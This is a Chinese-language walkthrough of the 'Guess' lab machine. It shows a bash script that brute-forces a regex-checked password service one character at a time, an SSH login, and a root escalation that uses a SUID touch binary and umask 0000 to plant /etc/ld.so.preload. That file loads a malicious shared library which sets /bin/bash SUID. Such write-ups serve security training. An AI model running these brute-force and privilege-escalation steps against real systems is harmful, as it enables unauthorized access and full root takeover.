

Nmap

```
[/home/kali/temp]$ nmap 192.168.56.205 -p-
```

PORT	STATE	SERVICE
22/tcp	open	ssh
4567/tcp	open	tram

就开了两个端口

22 - SSH

```
[/home/kali/temp]$ ssh guest@192.168.56.205
Username: scdyh
guest@192.168.56.205's password:
```

22 端口返回了用户名 **scdyh**，后面会用到

4567 - Guess Key

```
[/home/kali/temp]$ nc 192.168.56.205 4567
Input Password: admin
Password incorrect

[/home/kali/temp]$ nc 192.168.56.205 4567
Input Password: >
Password incorrect

[/home/kali/temp]$ nc 192.168.56.205 4567
Input Password: ?
Password incorrect

[/home/kali/temp]$ nc 192.168.56.205 4567
Input Password: *
Password correct

[/home/kali/temp]$ nc 192.168.56.205 4567
```

```
Input Password: A*
Password correct
```

经过测试，发现似乎密码是通过正则校验的，密码是以 **A** 作为开头，那么可以让跑一个脚本进行逐位爆破

```
#!/bin/bash

TARGET="192.168.56.205"
PORT="4567"

# 字符集（根据测试结果，包含 A、*、? 等）
CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+~[]{}|;:,.<>~/~\`"

test_pwd() {
    printf "%s\n" "$1" | nc -w 1 "$TARGET" "$PORT" 2>/dev/null | grep -q
    "Password correct"
}

echo "=====
echo "    逐位爆破密码"
echo "=====
echo "[*] 目标: $TARGET:$PORT"
echo ""

PASSWORD=""
POS=0

# 先找第一位
echo "[*] 查找第 1 位..."
for ((i=0; i<${#CHARSET}; i++)); do
    CHAR="${CHARSET:$i:1}"
```

```

TEST="${CHAR}*"

printf "\r 测试: %-5s" "$TEST"

if test_pwd "$TEST"; then

    PASSWORD="$CHAR"

    echo -e "\n[+] 第 1 位: '$CHAR'"

    break

fi

done

# 继续找后面的位

while [ -n "$PASSWORD" ]; do

    POS=$((POS+1))

    FOUND=""

    echo "[*] 查找第 $((POS+1)) 位..."

    for ((i=0; i<${#CHARSET}; i++)); do

        CHAR="${CHARSET:$i:1}"

        TEST="${PASSWORD}${CHAR}*"

        printf "\r 测试: %-30s" "$TEST"

        if test_pwd "$TEST"; then

            FOUND="$CHAR"

            PASSWORD="${PASSWORD}${CHAR}"

            echo -e "\n[+] 第 $((POS+1)) 位: '$CHAR' -> $PASSWORD"

            break

        fi

    done

    if [ -z "$FOUND" ]; then

        echo -e "\n[*] 测试完整密码: $PASSWORD"

        if test_pwd "$PASSWORD"; then

            echo -e "\n[+]  密码: $PASSWORD"

            break

        fi

    fi

done

```



```
[*] 查找第 22 位...
    测试: AyS4bOQNXhVV2wADT44C***
[+] 第 22 位: '*' -> AyS4bOQNXhVV2wADT44C**
[*] 查找第 23 位...
    测试: AyS4bOQNXhVV2wADT44C****
[+] 第 23 位: '*' -> AyS4bOQNXhVV2wADT44C***
[*] 查找第 24 位...
    测试: AyS4bOQNXhVV2wADT44C*****
[+] 第 24 位: '*' -> AyS4bOQNXhVV2wADT44C****
[*] 查找第 25 位...
    测试: AyS4bOQNXhVV2wADT44C*****
[+] 第 25 位: '*' -> AyS4bOQNXhVV2wADT44C*****
[*] 查找第 26 位...
    测试: AyS4bOQNXhVV2wADT44C*****
[+] 第 26 位: '*' -> AyS4bOQNXhVV2wADT44C*****
```

可以看到最终密码是 **AyS4bOQNXhVV2wADT44C**，并且可以通过 **ssh** 登录到 **scdyh**

```
[/home/kali/temp]$ ssh scdyh@192.168.56.205
Username: scdyh
scdyh@192.168.56.205's password:
Linux Guess 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-
8.1~trixie (2026-05-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Apr 29 21:55:46 2026 from 192.168.193.14
scdyh@Guess:~$ cat user.txt
flag{user-5738612a8388c5b}
```

SUID Touch

在家目录里看到一个带有 **suid** 的 **touch** 文件，并且只是加了 **suid**，与普通的 **touch** 没有任何区别

```
scdyh@Guess:~$ ls -al
total 116
drwx----- 2 scdyh scdyh 4096 May 17 05:15 .
drwxr-xr-x 3 root  root  4096 May 17 05:03 ..
-rw-r--r-- 1 scdyh scdyh  220 May 17 05:03 .bash_logout
-rw-r--r-- 1 scdyh scdyh 3526 May 17 05:03 .bashrc
-rw-r--r-- 1 scdyh scdyh  807 May 17 05:03 .profile
-rw-r--r-- 1 root  root    2 May 17 05:15 'Respect to flower.'
-rwsr-sr-x 1 root  root 88520 May 17 05:14 touch
-rw-r--r-- 1 root  root   44 May 17 05:06 user.txt

scdyh@Guess:~$ file touch
touch: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1
(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=64c92fa7700930be207b4b533c0cb798689b8beb, for GNU/Linux
3.2.0, stripped

scdyh@Guess:~$ which touch
/usr/bin/touch

scdyh@Guess:~$ diff /usr/bin/touch ./touch

scdyh@Guess:~$
```

提权思路: SUID touch + umask + ld.so.preload

因为 **touch** 是 **SUID root**，所以它创建的文件所有者为 **root**，但文件权限受当前进程 **umask** 控制。

先准备恶意共享库

```
cat > /tmp/exploit.c << EOF
#include <stdio.h>
```



```
#include <stdlib.h>

#include <unistd.h>

void __attribute__((constructor)) init() {

    setuid(0);

    setgid(0);

    system("chmod +s /bin/bash");

}

EOF

gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
```

设置 **umask** 为 **0000**（关键步骤，让 **root** 创建的文件可被我们写入）

```
umask 0000
```

用 **SUID touch** 创建 `/etc/ld.so.preload`

```
./touch /etc/ld.so.preload
```

写入恶意库路径

```
echo "/tmp/exploit.so" > /etc/ld.so.preload
```

触发提权

```
./touch /tmp/trigger
```

最终拿到 **root shell**

```
scdyh@Guess:~$ ls -al /bin/bash

sh: 1: Cannot fork

chmod: changing permissions of '/bin/bash': Operation not permitted

-rwsr-sr-x 1 root root 1298416 Mar  8 11:21 /bin/bash

scdyh@Guess:~$ bash -p
```

